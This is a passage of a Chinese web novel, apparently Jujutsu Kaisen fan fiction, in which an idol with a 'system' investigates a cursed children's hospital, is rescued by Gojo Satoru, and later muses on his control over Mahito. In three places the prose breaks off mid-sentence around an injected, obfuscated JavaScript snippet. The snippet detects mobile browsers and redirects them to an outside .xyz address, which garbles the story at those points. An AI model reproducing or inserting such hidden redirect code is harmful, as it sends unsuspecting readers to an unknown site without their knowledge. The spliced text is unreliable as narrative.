店长慌乱地全身上下摸了一通,最后从围裙口袋深处掏出一支圆珠笔,双手递了过来。 “如果方便的话,能不能请您——?啊对的,就签在衬衫上就好!” 连连感谢之后,她万分激动地离开了。星野璃空哼着歌儿走出商场,心情相当不错。 “我还是第一次线下被陌生粉丝认出来呢。” 【宿主加油!目前平台粉丝:36738,其中活跃占比87%;当前热度41,话题度392。对地下偶像来说,算是很不错的成绩了!请宿主再接再厉,勇攀高峰!】 星野璃空沉默了一下。星野璃空眨了眨眼睛。 “你怎么不叫我‘主人’了?” 【……请宿主放尊重一点,我不是那种出卖尊严的系统!】 “我还没有同意绑定哦。” 【对不起主人我错了请原谅我。】 系统利落滑跪,星野璃空轻笑一声,掏出手机开始看先前招募义工的病院消息。 就在附近呢,这个儿童医院。 脸色很臭的真人则跟在一旁,喋喋不休地大声抱怨。 “我真是搞不懂,有了我的帮助你还这么畏首畏尾!你的术式对人类也有用吧?” 他随之降低音量,在星野璃空耳边循循善诱,“我们一起出手,再给你增添一分助力,不好吗?” “我有预感,那个人类能提供的助益可比我大得多哦!” 暗中努力了这么久,结果完全挣脱不了星野璃空的【锁链】,还无法反抗对方随口的命令。 所以破防到阴暗尖叫爬行的真人决定转变固有思维,迭代老旧路线,找准差异赛道,升级全新打法。 ——他要把其他人拉下水。 10. 橘町病院 “川崎橘町儿童病院”,接下来的目的地。 有着相当老式的名字,这所医院创立于昭和年间,甚至连官方网站都疏于点缀,流露出鲜明的时代感。 和星野璃空定时去帮忙的希望之丘医院不同,病院内部拥挤而嘈杂,时不时爆发出孩童恐惧的尖叫。佐以洇着水迹的斑驳墙皮、神情疲惫的医护人员,似乎跌跌撞撞也未能跟上科技的脚步,成了从上个世纪的时空中留存的一副剪影。 “没有办法啊。”负责对接的护士眼角有着深深的皱纹,她苦笑着将扫除套装和义工铭牌递给星野璃空,顺便抽空扶正头顶歪掉的帽子。 “收益不好就无法升级设施,但一涨价就会流失客源。久而久之,橘町病院已经变成‘便宜’的代名词了。” 她完全看不见兴奋地跑来跑去的真人,只是一味叮嘱看起来安静乖巧的星野璃空。因为积年累月和哭闹的病童们打交道,女性的声音温柔极了。 “病院一共有五层楼,一楼是门诊部,二楼是住院部。说是住院,其实只是输液的地方罢了。” 因为橘町病院已经无力处理需要住院的重症患者,只能给感冒或吃坏肚子的孩子开瓶补液罢了。星野璃空恍然,在接过扫帚的同时问:“那三到五楼呢,需要打扫吗?” “三楼会充当仓库存放些东西,四层以上已经很久没人去过了。”护士叹了口气,大概是眼睁睁看着自己奉献一生的地方无可挽回地走着下坡路的心酸,“之前院方还打算租出去,但实在是……” 橘町病院所在处又不是什么寸土寸金的商业区,谁会专门来租一座医院的顶层呢?在漫长的等候之中,就这样继续空置下去了。 “我明白了。” 星野璃空微微躬身,目送护士长在他人一叠声的呼唤中匆忙离开了。 真人心满意足地回到他的身边,大概已经把整个一层转了个遍。 他仗着有其他看不见咒灵的普通人在,星野璃空不想看起来像个神经病的话,就不能做出太过突然的躲避动作,亲昵地一把搂住了后者的肩膀。 “想不到你还挺有品味的嘛。” 星野璃空拎着扫帚,沿走廊慢腾腾深入:“是指留下你这点?那我已经后悔了。” “真是的,”真人不满地抱怨,“这么浓郁的负面情绪,你感受不到吗?如果积年累月这样的话——” 他眼珠一转,突然把后半截话吞回了肚子里。大概是想引得自己追问吧,星野璃空活动了一下肩膀,完全懒得理他。 开始打扫第一间病房的时候,真人打了个大大的哈欠,委顿地蹲在门口,满脸都写着“无聊”。 “你真的打算把一下午都浪费在这种地方?所以我才会说人类是可悲的伪物啊。” 不用挥舞扫帚和垃圾搏斗的咒灵非常之闲,在一旁高谈阔论、指指点点,“这种连咒力都看不见的垃圾完全不值得你消耗精力,听我说,我们一起去找上午那个眼罩男……” 在“闭嘴”和“滚蛋”之间,星野璃空选择了后者。 真人麻溜地滚开,于是连病房的空气都变得清新了。 烦死了,他就不该因为担心术式会有距离限制,选择把这家伙带在身边。感觉对方的存在就接近精神污染了,更遑论随之而来的麻烦。 把垃圾倒入桶中,星野璃空试探性地晃了晃手腕上无形的锁链。 他能隐约感受到咒灵的位置,正在飞快远去。他不得不黑着脸补充“不准离开这座病院”“不准暴露存在”“不准以任何形式干扰别人”等一系列准则,另一端的逃逸这才不情不愿地停下了。 回过头来,得抽空看看【锁链】的极限究竟在哪里才行。 不对不对,应该是尽早打开领域,好把对方彻底吃掉更一劳永逸吧? 星野璃空眼神放空,加快了打扫的速度。孩童的哭喊声太尖锐了,让他的脑壳有点隐隐作痛。 * 锁链的另一端,真人捂着胸口,在病院的门口处停留了一会儿。 确实无法离开。不是被强行困住,而是连“出去”的念头都消失了。他在门口静静站了一会儿,品味着这种一旦试图驱动肢体、就会变得茫然的怪异感受,最终干脆转身,朝着医院内部奔去。 回到名为星野璃空的人类身边? 当然不是了。“滚开”同样也是对方下达的命令,于是在不动声色的努力之下,他得到了有限的自由。 现在,是时候去寻找足以扭转局势的助力了。 * 一楼已经粗略打扫完毕,星野璃空拎着扫除套装来到二楼,皱着眉头环视了一圈。 相比时刻都有孩子尖叫哭闹“我不要打针我不要看医生”的门诊科,这片区域无疑安静得多。但不知为何,那种烦躁恶心的眩晕感不但没有褪去,还愈演愈烈了。 作为强烈负面情感的堆积之处,医院很容易诞生咒灵,这一点星野璃空早就知道。 但至少在一楼,并没有咒灵的迹象。 他的动作顿了顿,把扫帚放在楼梯间的角落里,手套也随之脱下,折好放在一旁。 猩红的触角在背后隐现,星野璃空正了正胸前的义工铭牌,面色淡然地闪身进入最近的病房,假装自己只是无辜路过的工作人员。 没有异常。 生锈掉漆的输液床大部分空着,剩下的两三张上面蜷缩着一动不动的病童,偶尔有家长在一旁看护,也都撑着下巴,不住地打着瞌睡。 一整层楼开放的病房都是如此,后面还有几间紧锁着,门把手上积了一层厚厚的灰。星野璃空退回来,重新走进了门牌号211的输液室,也是开放的最后那间。 输液架上还挂着空瓶,透明的PVC管子歪歪扭扭垂下来,像一条死去许久的小蛇。 泛黄的白色床单有些凌乱,显然,这里的病人刚刚输完液离去,而人手短缺之下,护士们还没来得及更换床上用品。 星野璃空挑了张看起来最干净的小床坐下来,面对着窗户出神。 【橘町的病人死亡数据有异常吗?附近的失踪人口呢?】 【查询完毕。和日本平均值对比,没有明显异常。】 ……好吧。听说有个咒术师组织为了防止恶性事件,会定期在学校、医院等负面情绪聚集地放置一些被封印的咒物,似乎能产生驱散诅咒的效果。大概是这个原因? 勉强打通了逻辑,星野璃空站起身来,准备离开。 不管是强迫自己相信这个理由,结束义工离开橘町;抑或怀抱着疑虑,继续向不开放的三至五楼探索,他都不准备继续停留在这里了。 室内瘀滞的气体毫不流通,似乎张口呼吸进的都是凝固的沙土。太阳穴在一跳一跳地抽痛,他烦躁地用指节揉揉眉心,顺手拉开了对面紧闭的蓝色窗帘。 伴随相当流畅的“哗啦”声,老旧的窗帘居然服帖地滑开了。其后的推拉窗干净明亮,映出了星野璃空苍白的脸。 那根搭在肩膀上的触手轻轻抚摸他冰凉的额头,似乎在表示安慰。 星野璃空疲惫地叹了口气,紧绷的肩膀随之放松了些。他没有试图费劲打开那扇窗户,而是转身去往门口,手指搭上了虚掩的门扉。 “砰”地一声,掉漆的铁门被人从外侧猛地踢开了。 怀抱一大堆白色床单的护士侧过身,费力地挤了进来。将占据了双手的织物放在一旁的小床上,她长长出了口气,这才注意到面前的星野璃空。 “啊,下午时段的义工是吗?万分感谢!”她双手合十,表情宛如看见天使那样感激,“这么大的医院只有我们几个人,实在是帮大忙了!” 这位胸口铭牌上写着“佐藤”的护士,显然是个性格相当跳脱的人。不等星野璃空答话,她的视线就越过少年的肩膀,落到了身后的墙壁上。 “哎呀,谁把这窗帘拉开了,很难看的!” 这样碎碎念着,佐藤护士快步跑了过去,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16442837|185040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘶啦”把蓝布窗帘拉上,这才松了口气一般,对着星野璃空露出了歉意的微笑。 “啊,不好意思,我这个人就是这种冒失的性格……” 星野璃空注视着她,直到女人的微笑变得困惑,变得小心翼翼。 “为什么一定要把窗帘拉上?”他问。 “啊,这个?” 虽然不太理解,但护士还是把帘子撩起了一角,向星野璃空展示其下脱落的墙皮。 “南面的墙壁总是渗水,补了几次以后,干脆就用窗帘遮住了。” 她语带歉意,“这后面,并没有窗户呢。” * 星野璃空没有过多追问,而是折返回同个方向的病房一一查看。 或是窗帘、或是烂俗的现代画贴纸,又或者任由蜕皮和霉斑蔓延至每个角落,唯一的共同点是,南面的墙,没有窗户。 脑中的眩晕感愈演愈烈,让他渴望着新鲜空气,或是赶快找个角落呕吐一下。 从输液室离开的时候,佐藤护士也刚好从前面那间出来,臂弯上搭着刚换下来的脏床单。星野璃空不想浪费时间,只是微微点头,而女人却像是十分感激的样子,双手合十,对他微微鞠了一躬。 “啊,下午时段的义工是吗?万分感谢!”她神态恳切,“实在是帮大忙了——” 星野璃空停下了脚步。 这一次,他细细地打量着面前垂着头的护士。凌乱的发丝,护士服的下摆站着污迹,还有胸前掉漆的铭牌——一切的一切,都和上次相遇时一模一样。 “五分钟之前,你去211更换床单的时候,”他慢慢组织着语言,“我们不是打过招呼了吗?” 佐藤护士的神色变得犹疑,睫毛不安地眨动了两下。 “加上不可使用的那些,二楼只有十个房间。” 她小心翼翼地陪着笑。 “没有211啊。” * 不行。不能再在这里停留了。 从什么时候开始出了错? 进入211?登上二楼?迈入橘町病院?还是更早一些,沿着导航前来这里的时候? 强行按捺着翻涌的恶心感,星野璃空开始奔跑。 走廊没有像原本想象中那样不断延长,佐藤护士站在原地,茫然地目送他远去。在闯入楼梯间、成功踏足朝下的台阶之时,星野璃空不自觉松了口气,差点和快步奔上来的护士撞个满怀。 对方被怀中高高的换洗被单遮住了视线,一时没能看到他,反应过来后惊慌地连声道歉。 “不好意思,不好意思!” “是我太过莽撞了。” 星野璃空垂着眼眸,侧身让出路来。在护士的感谢声中,他以一个义工应有的关心态度问道:“二楼有几个房间要换床单啊,你一个人忙得过来吗?” 小护士眼圈都快红了:“有快十个呢!没办法,只有我和纱织姐……” 星野璃空紧紧靠着楼梯扶手,给费力前行的护士尽量腾出更大的空间。他用眼角的余光从扶手的间隙往下看,看到的并不是一楼大厅的热闹场景,而是扶梯、扶梯、扶梯——无穷无尽的扶梯,所编织成的无穷无尽的漩涡。 他抿了抿嘴唇,加快脚步来到护士身前,在反应不及的茫然眼神注视下,接过了她怀里的大部分织物。 “诶,诶?!太麻烦您了吧,这是我分内之事!” “没关系,反正我本来就是来做义工的。” 星野璃空一副毫不利己专门利人的开朗模样,引得负累减轻大半的小护士眼泪汪汪,感觉工作的疲惫都烟消云散了。 “对了,”那个脸蛋漂亮人也很好的义工弟弟突然发问,声音轻得像是呢喃,“姓‘佐藤’的护士,你们这里没有,对吧?” “是呢!” 她脚步轻快地跟上,笑嘻嘻地给予肯定。 “我在这里工作两年啦。我们橘町儿童病院,没有姓佐藤的护士哦。” 11. 你的秘密 究竟是什么样的咒灵呢? 扭曲记忆?覆写现实?制造幻境? 星野璃空跟在名为“渡边”的护士身后,默默更换了所有病房的床单。 201,201……209。 尽头的210门扉紧闭,显然早已弃置了。确实如同之前佐藤护士所说,这一层只有十个房间。 他寸步不离地跟在渡边身后,视线没有一刻移开。目前所知,唯一的相同之处就是“更换床单”这件事,甚至连完成这个举动的人都不同。床单换完之后呢?三层以上不开放,那护士总要拿着脏床单回到一楼了吧? 发现问题的第一时间,星野璃空就敲了系统,但得到的依旧是毫无起伏的“没有异常”。 哦,那就是连系统也异常了。 但是甚至能够做到融入自己的意识之中,连被术式控制的真人也能影响,真的会被本体都未曾出现的咒灵搞出bug吗? 星野璃空得出了结论。 受影响的不是医院,不是护士,而是自己。 毕竟和凭空改变环境、大变活人相比,影响一个人的知觉感受,无疑要简单多了。 头晕烦躁之感并不是踏上二楼才有的,只不过随着在此停留加重了许多。回想之下,应该是踏入医院的一刻就中招了。 是发现了自己身上的异常? 不对。对以负面情绪为食的咒灵来说,应该是平等地攻击进入领地的每一个人才对吧? 星野璃空陷入了沉思。虽然不确定最开始回复橘町病院死亡率没有异常的系统是不是已经被影响了,但非常确定的是,他来到川崎的这几个月,并没有听到什么幼儿大规模失踪或死亡的事件。 并且他进入病院的时候是下午一两点左右,因为是午休时间,家长们扯着哭闹不休、或蔫蔫巴巴的孩童于正门进进出出,看起来,似乎并没有什么异样。 除了,一楼的孩子们哭得响了一点。 ……难道是,对于作为食物的人类,采取了更加可持续的放养模式? 星野璃空因为自己大胆的猜测而沉默了。 对只有“吞吃”这种本能的咒灵来说,真的能有这种程度的智慧,甚至能为之克制杀戮的本性? 抱着脏床单的小护士朝楼梯口走去,星野璃空暂且抛下疑虑,紧紧跟上。 楼梯下面传来了急促的脚步声——抱着孩子的女人满脸焦急地冲上来,勉强让过了渡边护士,却一不小心绊了一跤,摇摇晃晃地朝着星野璃空扑倒了下来。 他下意识伸手一托。哭闹扭动着的孩子落入臂弯中,有着真实的温度和重量。女人顾不得疼痛,赶忙站起身来道谢,但由于这一瞬间的恍神,护士的背影已经又在楼道间消失了。 【这个咒灵,不愿意让我离开。】 星野璃空很想提起兴趣,追究一下为什么,但是他的神经又在抽痛了。 不安的本能在身体内部低声咆哮,或许连皮肤上都出现了异常的凸起。因为殴打真人发泄的破坏欲又在逐步累积,他清晰地体味到从四肢末端升起、正席卷整片神经的狂怒——但是,再稍微忍耐一下吧。 太多人类了。唯有门口跑进的那些人绝不是幻象,这里着实不是尽情发泄的好地方。 手腕上的锁链牵扯着他,星野璃空可有可无地扯动一下,命令道:“过来。” 这种时候,不就应该把很能苟的宝可梦扔出去战斗吗? 稍待一会,没有任何反应。星野璃空也谈不上失望,只是沿着无穷无尽的楼梯继续往下走。 二楼下去还是二楼,永远都是二楼。 一楼是对外开放的门诊部,也是进门的所有人类逐渐被异常浸染的第一步。这么说,这个咒灵的本体是在三楼以上吧。 无论是上楼还是下楼,都自始至终在二层徘徊;跟着输完液的患者离开,结果也被各种各样的意外所打断。 不论这个咒灵为什么执意留下自己,有一个最简单的办法,能够绝对验证他是否还能操控自己的身体。 他靠在一间输液室的门框上,注视着其中或躺或坐,面色或疲惫或病态的人。 “要‘分开’吗?” “彻底分离的话,应该就能知道究竟是针对躯体还是灵魂了。” 没有接近本体,术式也就没有可发动的对象,此时的星野璃空和普通人无异。然而停留越久异样感就越强,在强烈的不安催促下,他知道必须要做出选择了。 最大的秘密,或许到了必须暴露的时候。 明明知道整座医院大概率都在那只咒灵的监视之中,闯入的所有人都被视作猎物,只是放养和宰杀的区别。但星野璃空还是破坏了210的门锁强行进入,至少明面上,这间没有其他人的房间被他暂时占据了。 少年的手伸向后颈,微微低头,轻柔地抚摸第一节脊骨。 在手掌的阴影笼罩之下,白皙的肌肤宛如被拉开了无形的拉链,其下露出的除了血肉,更多的是黑洞一般,吞噬周围光线的至暗阴影。 裂缝越来越大,几乎已无法被手掌遮蔽。翻滚的纯黑之中,突然闪过一抹突兀的白色,随即短暂安静下来,逐渐显出了全貌。 眼白、瞳孔、不停颤动的凸面。 那是一枚眼睛。 一瞬间的窥视后,少年无力地跪倒。相对应地,脊背处的裂缝越来越大、越来越深—— “轰!!!” 眼睛受惊隐去,裂缝也从内里迅速闭合,只剩下飞快褪去的红痕。 星野璃空猛然睁开眼,像是即将溺毙的落水者好不容易重新浮上水面一般、大口地、贪婪地呼吸来之不易的新鲜空气。 病房在垮塌。 不是钢筋水泥的崩坏,而是宛若油漆剥落一般,墙壁、天花板还有堆叠落灰的病号床,都开始飞快泛黄、继而起泡、凋零。 画着布景的粗劣草纸,突然跌入了沸水之中,毫无反抗之力地融化了。 与此同时,那股一直缭绕不去的恶心感瞬间消散,肺部重新焕发生机,连带大脑都变得清醒起来。 有人在轻拍他的脸颊。 “醒醒。”那个有点熟悉的声音说,“喂喂,你还好吗?” 明明已经“睁开眼睛”了,星野璃空体感上还是在努力撑开沉重的眼皮,宛如终于从窒息的噩梦之中挣脱。 垮塌之后的楼层似乎应该暴露于在明亮阳光照耀之下,但视野里一时间只有纯白,让人有些茫然。 而当落在脸颊上的“轻拍”越来越重,甚至终于断线重连的系统也开始在脑子里鸡叫,星野璃空终于眼前一黑,彻底醒了过来。 因为躺着的姿势,他首先看到的就是某张凑近的熟悉面孔。 戴着眼罩的白发青年捏着下巴,似乎正在思考下步怎么办,和睁开眼睛的星野璃空对视之后,他微微一怔,随即露出了和之前在KFC时相同的、兴味盎然的招牌笑容。 “呦,还活着嘛!” “是啊。”星野璃空下意识抱怨道,“你下手好重。” 他指的是现在脸颊上还有火辣辣的痛感,大概是被咒灵缠住这么久,他受的最重的伤。 但对“救 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16442838|185040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 命恩人”说这个显然是不合适的,只是因为刚刚的短暂分离,性格中恶劣的一面又有些控制不住。 星野璃空赶紧闭上了嘴,默念要冷静要冷静。而青年显然以为他说的是别的东西,不以为意地耸了耸肩。 “不就是打破了天花板吗,辅助监督会处理的。比起这个,你怎么在这儿?” 视线渐渐凝实,他越过了一副轻松神态、不知为何让人火大的青年,下意识眯起眼睛,打量天花板上那个—— 不能说是洞吧。 应该说,天花板被整个掀飞了。 星野璃空一时失去了表情。 下午的阳光赤裸裸泼洒下来,照耀着终年不见天日的顶楼。方才的巨响估计就是因为暴力拆迁,细密的灰尘在半空中密密麻麻地飞舞着,很显然,有个麻烦的大家伙被眼前满脸轻描淡写的家伙祓除了。 他这才又将注意力转移到后者身上,以全新的眼光打量着面前的人类。 嗯,应该是人类吧? 似乎接收到了他的疑惑,青年找了块废墟,大咧咧地坐了下来,丝毫没有将还躺在地上的星野璃空友善扶起的意思。 “高专派我来川崎这边出差,因为院长的女儿报了警。明明早就因亏损停止运营的病院,居然还在照常运转,医护们也正常上下班,说是院长亲自召开会议,让她们安心工作就好。” 他换了个姿势,把一条腿叠放到另一条腿上。这个角度来看,这家伙的腿真是长得要命。 “本体无法移动,转而用梦境引诱猎物,细水长流地维持着口粮。” “其实这套把戏,原本还能维持很久吧?”青年托着下巴,“要不是老院长其实早在三个月前去世了的话。” 星野璃空从积了厚厚一层尘土的地板上坐起,稍微活动了一下四肢。果然零件都没什么大问题,只是当他想站起身来的时候,突然不自觉闷哼一声,鼻腔中随之涌出一股热流。 “啊,对了,你现在最好不要乱动哦。”青年这才提醒道。 “那个家伙的术式,应该会对大脑造成很大影响。” 真人并不在身边,但距离不远,还在医院内部。动静这么大,不知道一二层的病人听到没有。 星野璃空依言躺了回去,重复道:“那个家伙?” “说起这个,你好像看不见咒灵呢。” 这么说着,似乎依旧存有疑虑一般,青年长腿一迈,再次蹲到了星野璃空身边。 和之前不同的是,黑布眼罩的一角被轻轻拉下,露出了其后碧蓝澄澈、宛若无限延展着的天空一般的,美丽的眼睛。 “但是,有一点很奇怪——不对,是很多地方。” 他的语气相当轻快,随之歪了歪头。 “这个咒灵懂得压榨食物,从不一次吃光,这也是为什么隐藏了这么久、成长到这个地步,直到老院长去世才被发现。” 青年伸出食指,点了点星野璃空的肩膀。 “为什么冒着暴露的风险,也要把你引诱到本体所在的五楼,好亲手杀掉呢?” “那个和你有牵扯的人形咒灵,为什么没有保护你,坐视你陷入险境?” “怎么会这么凑巧,先是KFC,然后是橘町病院,一天两次‘偶遇’?” 褪去了用来融化边界的轻浮笑意,那双蔚蓝色的眼睛毫无起伏、如此透彻,在如此相近的地方,一瞬不瞬地凝视着他。 “就让来我看看吧。” “——你的秘密。” 背后原本早已愈合的红痕,不自觉触电般抽痛了一下。 12. 没有爱恨 星野璃空凭借高超的演技,将一个弱小无助可怜的普通人演绎得淋漓尽致。 咒灵也好,咒术师也好,他真的一点关系都不想扯上。 咒灵就不用说了,白费力气不爆金币,这样的怪谁都受不了。唯一的优点是,大部分时候,只要装作看不见对方默默绕开,麻烦就会自行离去。 咒术师就更过分了。一旦发现他的异常,或者单方面觉得他有异常,无论星野璃空怎么狡辩,都绝对会试图用各种各样的理由入侵他的生活,为他安排“更有价值”的未来。 归根结底,他为自己选定的“偶像”路线是根植于普罗大众的,这些家伙跟他普普通通的偶像事业是两条平行线,如果强行接近,只会互相干扰。 “呃,你的意思,我不太明白?” 星野璃空毛骨悚然地搓了搓自己的肩膀,明显对青年冒犯边界的专注凝视很不适。 “虽然不知道为什么跑到五楼了,但是你救了我对吧?头还是好晕……真的,非常感谢!” 事已至此,他也只能默默哀叹真人绝对是个灾星,他平稳苟了这么多年,第一次遛一下新宠物就同时遇到了天克自己的咒灵、还有看起来绝对打不过的咒术师;同时在心底躺平,祈祷这次也能安然度过。 演唱会可是已经不到一个月了啊!他这周末还要去和伴舞们排练呢! “那个,我的名字是星野璃空,”他小心翼翼问道,“请问您是?” 青年把眼罩戴好,重新掩上了那双晴空一般的眼睛。 他回话的语气倒是依然轻松活泼,不像是发现什么端倪的样子。 “五条悟,东京都立咒术高专的老师。Riku你,应该还在上学吧?” “啊?啊,是的。因为今天请假了,所以抽空来这边做做义工……” 五条悟捏着下巴,一副若有所思的样子。星野璃空继续扮演大难不死的普通人,躺在地板上放空,以至于顶层一时陷入了微妙的寂静之中。 这片难捱的寂静是飞快接近的“噔噔噔”的脚步声打破的,早已锈蚀的楼梯铁门发出刺耳的吱呀声,几名医护终于在角落里找到了积灰的钥匙串,费力地打开了锈成一团的锁头。 几张惊慌不安的脸出现在转角处,显然是被先前的巨响吸引,来一探究竟。 这下星野璃空彻底装不下去了。 除非面前那个满脸写着“我要跑路了”的咒术师良心发现站出去担责,否则川崎这种小城市,第二天的新闻绝对会有“地下偶像演唱会前夕竟做这种事,医院楼顶凭空消失为哪般?”这种吊诡的玩意儿。 他辛辛苦苦打造的形象还要不要了?绝对会在粉丝心里碎成渣渣的呀! 余光瞥见少年艰难地从地板上起身,懒得处理后事、准备把烂摊子全都甩给辅助监督的五条悟犹豫了一下。 把受害者留在事故现场遭受质问,好像是不太好哈? 算了,随手的事。 星野璃空的视野突然之间改变了。一瞬间,他甚至以为那是咒灵所制作的、另外一重梦境。 从灰尘密布的医院顶楼瞬间切换到了午后的街道上,行道树伸展枝丫,抖落下一串串细碎的阴影,柏油马路上不时有汽车驶过,但大部分时候,安静到只能听到昆虫的啼鸣。 他眨巴眨巴眼睛,后知后觉地意识到,自己正被名为五条悟的咒术师扛在肩膀上。 瞬移?这种事情也做得到吗? 五条悟找了条没人的长椅把他放下去,自己悠闲地坐在一旁,宛如外出春游的小学生般摊开双臂,整个靠在长椅上。 这幅什么都不放在心上的轻松样子看起来怪气人的……还没等星野璃空吐槽完,青年已经用伸长的手臂灵巧地从他的衣兜里拿走了手机,然后怼到毫无准备的星野璃空面前,用人脸识别将其解锁了。 星野璃空:? 星野璃空:……咒术师都像你这样的吗? 他差点就脱口而出了,还好在最好一秒拼命咽了回去,显得表情相当古怪。五条悟倒是没有在意,滴滴答答地摆弄了一会儿,丝毫没有窥视隐私的自觉,还在旁边发出大咧咧的感叹。 “我把我的联系方式给你了,这可是学生都没有的待遇哦。” 和之前丝滑摸走手机时的形象过于反差,星野璃空费力地尝试理解对方的动机:“什么?” “没办法啊,”被手机挡住大半张脸的青年懒洋洋地说,“不想去高专的话,就只能这样了吧?” 白发的少年依旧是一副理解不能的表情。 这个人本身似乎没有任何问题,但就像他先前提问的疑点一样,毫无瑕疵本身就是一种问题。 就连【六眼】也没有给出任何提示。但不论如何,若是普通人被卷入这样的事件之中,身边又跟随着立场不明的特级咒灵,处境怎么也称得上危险吧?很需要他这个最强的帮助啊。 如果对方的确拥有咒力,那这幅表现的意思就很直白了。 【不想跟你们沾边,走开。】 ——那五条悟就更要掺和一脚了! 总而言之,在深思熟虑和个人恶趣味的混合下,五条悟强行在对方的手机里留下了自己的号码。 他翻看着不到半页的通讯录,不由啧啧感叹:“哇,就这个年龄的孩子来说,Riku你的朋友还真少啊。” “我早就想说了,干嘛叫得这么亲热啊!” 忍耐终于到达了临界点,星野璃空觉得正常人对这个家伙的让步也就到此为止了。他挣扎着想拿回手机,被高举手臂的五条悟轻松躲过:“诶哈,够不着~” “滴答”一声,短信的提示音。五条悟眯着眼点进去,随即发出了夸张的感叹声。 “‘演唱会排练’?社团活动吗?哇,等一下——在涩谷的Live House约了下周五彩排?居然是偶像吗,Riku酱?” ……真是够了。 就在星野璃空开始思考怎么摆脱这家伙的时候,五条悟像是被提醒了什么一样,若有所思地“啊”了一声。 如果作为偶像被倾注了强烈的爱恨,全部指向“星野璃空”这个个体的话…… 或许,就像单方面地诅咒了对方一样。 【喜欢你。】 【看着我。】 【我只有你一个人了。】 【好可怕好可怕好可怕——不要死,不准离开我!!!】 乙骨忧太所持有的【特级过咒怨灵】里香,不就是因为贯注强烈感情的爱恨化为了强力的诅咒,才得以诞生于世的吗? 难道这里也是相似的情况? 五条悟把手机还回去,看着虚弱躺倒的星野璃空,阐述了一个肯定的事实。 “但那个人型咒灵,似乎不会保护你。” 啊,让谁保护我?真人吗?真的假的? 念头一闪而过,青年的下句话已经像是讨论明天的早餐一样,轻描淡写地说出了口。 “无所谓的话,我可以帮你祓除它。” * 周五的课上,托着下巴的星野璃空还在思索对方的提议。 学校和家相距并不远,吸取了昨天的教训,他给真人制定了严格的束缚,然后嘱咐系统好好监视,这才离开了住处。 每远离一步都在反复检查【锁链】的强度,还好,并没有出现什么异样。 只是相距越远,给真人下达的新指令就像信号不好一样,断断续续的,变得更难准确传达。 至于系统所转述的昨日动向,真人在离去之后转而放出了几个分身去往医院各层,像是在寻找着什么一样——星野璃空对此也并不惊讶。 身为同类,在刚迈入医院时就嗅到彼此的气息了吧。在背负着【锁链】的前提下,居然还有力气给自己找麻烦,那家伙心中原本的恶意究竟该有多大啊。 星野璃空手掌一翻,原本空无一物的掌心,霎时间多了什么东西。 一颗表面密布着灰色纹路的血红心脏,宛若有着自己的生命一般,在他的手中缓慢地跳动着。 并非表面的模样那么简单,对于作为咒灵的真人来说,比起身体上的要害,更像是它灵魂或“人格”的一部分。 ——失去了对于某物的爱憎。 一切感情的体味都变得如此淡薄,连翻腾的欲望都逐渐止息。简直像是心已经脱离了身体,被锁链囚禁在无法逾越的五指之间。 这样下去,在日以继夜的消磨之中,应该会被彻底抹去个人的意志,只依照星野璃空的命令而做出行动吧。 星野璃空比较了一下风险和收益,暂时按下了给咒灵一个解脱的想法。 这家伙的“恶意”太过明显了,再加上刚刚诞生,对自己能力的运用并不纯熟,才会栽在星野璃空手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16442839|185040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里。这样送上门来的大礼包,怎么可以轻易浪费? 至于医院的那只咒灵…… 他翻转手腕,收起那颗外形悚然的心脏,默默叹了口气。 个人战力的提升,是否该提上日程了呢? * 周五晚上的社团活动,星野璃空并没有请假。 毕竟之前连续翘课两天,都是很好说话的学长吉野顺平代他联系老师的,人与人之间的社交礼仪藏在暗处,星野璃空觉得再翘掉社团活动,未免有点不礼貌了。 另外两名社员不在。一人声称家中有事,一人已经退部了。 “他们觉得之前抛下我跑掉了,心里很愧疚。”吉野顺平叹着气,从柜子上拿下一张碟片,塞进了放映机里,“我怎么可能怪他们啊。” 对面的星野璃空觉得有趣:“是吗?换我的话,绝对会心生怨气哦。” 除非,根本没把对方当做同伴。逃跑就变成了应有之义,甚至摇人来打自己都变得可以理解了。 “这么说也是。” 吉野顺平显然不是喜欢和人抗辩的类型,苦笑着赞同之后,又嘟囔一句。 “但是那种情况也没办法吧?而且他们后来叫老师过来了啊,所以……” 所以没有恶意,只是普通人而已,应该原谅吧? 窗帘拉上了,室内随着放映机的运转而明明灭灭。星野璃空用指节抵着下唇,毫无焦距的眼眸里倒映着起伏的光。 就是这种瞬息万变、虎头蛇尾的感情最讨厌了。 没有长久的爱,也没有固执的恨。完全从本身的当下处境出发,火花般的怨怼一瞬间变成喜悦,变成庆幸,紧接着就“噗”地一声熄灭了,什么也没有留下。 这样算是普通人吗? 电影中的角色打来打去,其中一人受伤倒地,另一个抱着她失声痛哭。 